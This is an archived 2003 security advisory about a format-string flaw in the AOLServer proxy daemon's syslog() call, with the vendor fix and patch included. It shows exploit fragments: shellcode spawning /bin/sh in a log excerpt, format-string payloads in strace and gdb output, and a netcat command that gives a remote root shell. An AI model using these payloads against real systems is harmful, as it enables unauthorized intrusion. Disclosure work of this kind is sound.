Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team researchat_private Team Lead Contact kfat_private Our Mission: ************************************************************************ Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer. Quick Summary: ************************************************************************ Advisory Number : SRT2003-04-04-1106 Product : AOLServer Proxy Daemon API Version : 3.x - 4.0-beta4 Vendor : aolserver.com Class : Remote Criticality : Medium Operating System(s) : *nix and win32 High Level Explanation ************************************************************************ High Level Description : nspd/libnspd.a contains exploitable syslog() calls What to do : AOLserver staff has fixed this issue on 3/19/2002 The fix is listed in the original advisory that was provided by Intexxia http://www.securitytracker.com/alerts/2002/Apr/1004080.html Technical Details ************************************************************************ Proof Of Concept Status : Secure Network Operations does have PoC code Low Level Description : In an effort to discover a new vulnerability in the current codebase of AOLServer we stumbled across a previously discovered hole. Our path of research was 100% independant of the work INTEXXIA provided in April of 2002. After fully documenting and exploiting this issue we had found that INTEXXIA already contacted AOLServer staff and a fix was already available. Our testing against aolserver-4.0-beta1-src.tar.gz in early January. We found that nspd/log.c contained an unformatted syslog() call. gentoo nspd # pwd /root/AOL/aolserver-4.0-beta1-src/nspd gentoo nspd # grep -rn syslog\( log.c | grep -v \% 211: syslog(priority, msgbuf); At the time we were unaware this issue had been previously addressed. We continued to verify if this condition was exploitable by first creating our own program that linked against libnspd.a. The conclusion of our testing was that we felt production systems could be impacted by this issue. In order to verify our theory we searched for public applications that link against libnspd.a. A few quick searches on Google turned up several possible "External Proxy Daemon's" that were potentially up for attack. Among them were nssybpd (Sybase Proxy Daemon), nsibasepd (Interbase Proxy Daemon), iupsd (Informix Proxy Daemon) as well as several others. If you use the RemoteHost method in configuring your Proxy Daemon it will listen on a port and be spawned via inetd or xinetd. Our testing was done with both nssybpd and nsibasepd listening via xinetd. Both were exploitable to the extent of providing a remote shell. If your machine is attacked by this method you will see syslog entires that are similar to the below output. Feb 9 22:07:58 src@vegeta 0000000000000000000000000000000000000000000000000000000000000000000000000... 0000000000000000000000000000000000000000000000000000000000000000000000000... 0000000000000000000000000000000000000000000000000000000000000000000000000... 000000000000000000000000000000000000000000000000000005406984831ÛØ°Íë1Û1É÷á[° SRSáÍ°Íèåÿÿÿ/bin/sh Feb 9 22:07:58 src@vegeta nssybpd.bin[3278]: Exiting. Debugger output : Start a debugger against the proxy daemon on the machine to be attacked. vegeta # strace -vifp `ps -ef | grep nssyb | grep -v grep | awk '{print $2}'` [40322ac4] read(0, "...F\'\5\10D\'\5\10%.1973d%19$hn%.8678d%"..., 32768) = 182 ... [40330162] send(3, "<27>Feb 9 22:07:58 nssybpd.bin["..., 10915, 0) = 10915 ... [400f4ac4] read(0, "i", 1) = 1 [400f4ac4] read(0, "d", 1) = 1 [400f4ac4] read(0, "\n", 1) = 1 ... [400d4437] fork() = 3286 On the box I was attacking from I saw the following. elguapo@frieza tmp $ id uid=1000(elguapo) gid=100(users) groups=100(users) elguapo@frieza tmp $ (./nssybpd-ex.pl;cat ) | nc vegeta 8199 id uid=0(root) gid=0(root) hostname vegeta Below is the information found in gdb after a crash. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x401eabb6 in vfprintf () from /lib/libc.so.6 (gdb) bt #0 0x401eabb6 in vfprintf () from /lib/libc.so.6 #1 0x402767b2 in vsyslog () from /lib/libc.so.6 #2 0x4027661d in syslog () from /lib/libc.so.6 #3 0x0804d0d3 in Ns_PdLog (errtype=Error, format=0x8050c80 "GetMsg: Protocol Error, no newline terminator for arglen of command: %s") at /home/gnachman/cvswork/aolserver/nspd/log.c:99 #4 0x0804d362 in GetMsg (buf=0x80529c0 "...AAAABBBB%x%x%x%x%x%x%x%x%x%x%n%n", cmdName=0xbffffac4, cmdArg=0xbffffac0) at /home/gnachman/cvswork/aolserver/nspd/main.c:131 #5 0x0804d282 in PdMainLoop () at /home/gnachman/cvswork/aolserver/nspd/main.c:102 #6 0x0804d1a5 in Ns_PdMain (argc=1, argv=0xbffffb44) at /home/gnachman/cvswork/aolserver/nspd/main.c:56 #7 0x0804975a in main (argc=1, argv=0xbffffb44) at nssybpd.c:106 #8 0x401b4e54 in __libc_start_main () from /lib/libc.so.6 There may also be other implications for "Internal" proxy daemons however we were only able to trigger this condition via "External" daemons. We have not yet concluded how this issue is present in the current AOLServer beta. We can only note that there IS a fix in the CVS archive. Patch or Workaround : Change the syslog() call to include a format specifier. - syslog(priority, msgbuf); + syslog(priority, "%s", msgbuf); http://cvs.sf.net/cgi-bin/viewcvs.cgi/aolserver/aolserver/nspd/log.c.diff?r1=1.4&r2=1.4.6.1 Vendor Status : Vendor has already addressed this problem Bugtraq URL : to be assigned ------------------------------------------------------------------------ This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact researchat_private for information on how to obtain exploit information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
This archive was generated by hypermail 2b30 : Fri Apr 04 2003 - 11:41:58 PST